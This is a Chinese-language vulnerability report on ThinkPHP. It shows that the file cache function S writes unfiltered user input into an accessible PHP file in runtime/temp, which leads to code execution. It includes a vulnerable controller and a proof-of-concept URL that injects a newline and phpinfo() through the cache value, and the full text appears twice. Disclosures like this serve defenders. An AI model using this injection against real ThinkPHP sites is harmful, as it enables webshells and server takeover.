### 简要描述: ThinkPHP某处设计缺陷可导致getshell ### 详细说明: thinkphp中有个缓存函数S,在使用文件方式的缓存的时候,程序会有写出文件的操作。由于没做好过滤导致了代码执行。 ``` <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ if (!S('aaaaa')) { S('aaaaa',$_GET['w']); echo 'cache ok'; } } } ?> ``` 判断缓存不存在则写出缓存文件。在使用文件缓存的时候,由于未对缓存文件设置访问权限。导致代码执行。 浏览器中访问 ``` http://localhost:8888/thinkphp/Home/Index/index/?w=%0A;phpinfo%28%29;// ``` [<img src="https://images.seebug.org/upload/201503/16181809ce0fa5eaa750b6307f66c248b6ea07aa.png" alt="QQ20150316-1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16181809ce0fa5eaa750b6307f66c248b6ea07aa.png) 缓存写出成功,然后访问应用目录下的runtime/temp目录,文件名为key的32位md5. [<img src="https://images.seebug.org/upload/201503/161820500a69d1a03a3bf072631f7b81e3de08bc.png" alt="QQ20150316-2.png" width="600"...
### 简要描述: ThinkPHP某处设计缺陷可导致getshell ### 详细说明: thinkphp中有个缓存函数S,在使用文件方式的缓存的时候,程序会有写出文件的操作。由于没做好过滤导致了代码执行。 ``` <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ if (!S('aaaaa')) { S('aaaaa',$_GET['w']); echo 'cache ok'; } } } ?> ``` 判断缓存不存在则写出缓存文件。在使用文件缓存的时候,由于未对缓存文件设置访问权限。导致代码执行。 浏览器中访问 ``` http://localhost:8888/thinkphp/Home/Index/index/?w=%0A;phpinfo%28%29;// ``` [<img src="https://images.seebug.org/upload/201503/16181809ce0fa5eaa750b6307f66c248b6ea07aa.png" alt="QQ20150316-1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16181809ce0fa5eaa750b6307f66c248b6ea07aa.png) 缓存写出成功,然后访问应用目录下的runtime/temp目录,文件名为key的32位md5. [<img src="https://images.seebug.org/upload/201503/161820500a69d1a03a3bf072631f7b81e3de08bc.png" alt="QQ20150316-2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/161820500a69d1a03a3bf072631f7b81e3de08bc.png) 成功执行phpinfo [<img src="https://images.seebug.org/upload/201503/161821227f5521e514d850e03f9d59866149582f.png" alt="QQ20150316-3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/161821227f5521e514d850e03f9d59866149582f.png) ### 漏洞证明: thinkphp中有个缓存函数S,在使用文件方式的缓存的时候,程序会有写出文件的操作。由于没做好过滤导致了代码执行。 ``` <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ if (!S('aaaaa')) { S('aaaaa',$_GET['w']); echo 'cache ok'; } } } ?> ``` 判断缓存不存在则写出缓存文件。在使用文件缓存的时候,由于未对缓存文件设置访问权限。导致代码执行。 浏览器中访问 ``` http://localhost:8888/thinkphp/Home/Index/index/?w=%0A;phpinfo%28%29;// ``` [<img src="https://images.seebug.org/upload/201503/16181809ce0fa5eaa750b6307f66c248b6ea07aa.png" alt="QQ20150316-1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16181809ce0fa5eaa750b6307f66c248b6ea07aa.png) 缓存写出成功,然后访问应用目录下的runtime/temp目录,文件名为key的32位md5. [<img src="https://images.seebug.org/upload/201503/161820500a69d1a03a3bf072631f7b81e3de08bc.png" alt="QQ20150316-2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/161820500a69d1a03a3bf072631f7b81e3de08bc.png) 成功执行phpinfo [<img src="https://images.seebug.org/upload/201503/161821227f5521e514d850e03f9d59866149582f.png" alt="QQ20150316-3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/161821227f5521e514d850e03f9d59866149582f.png)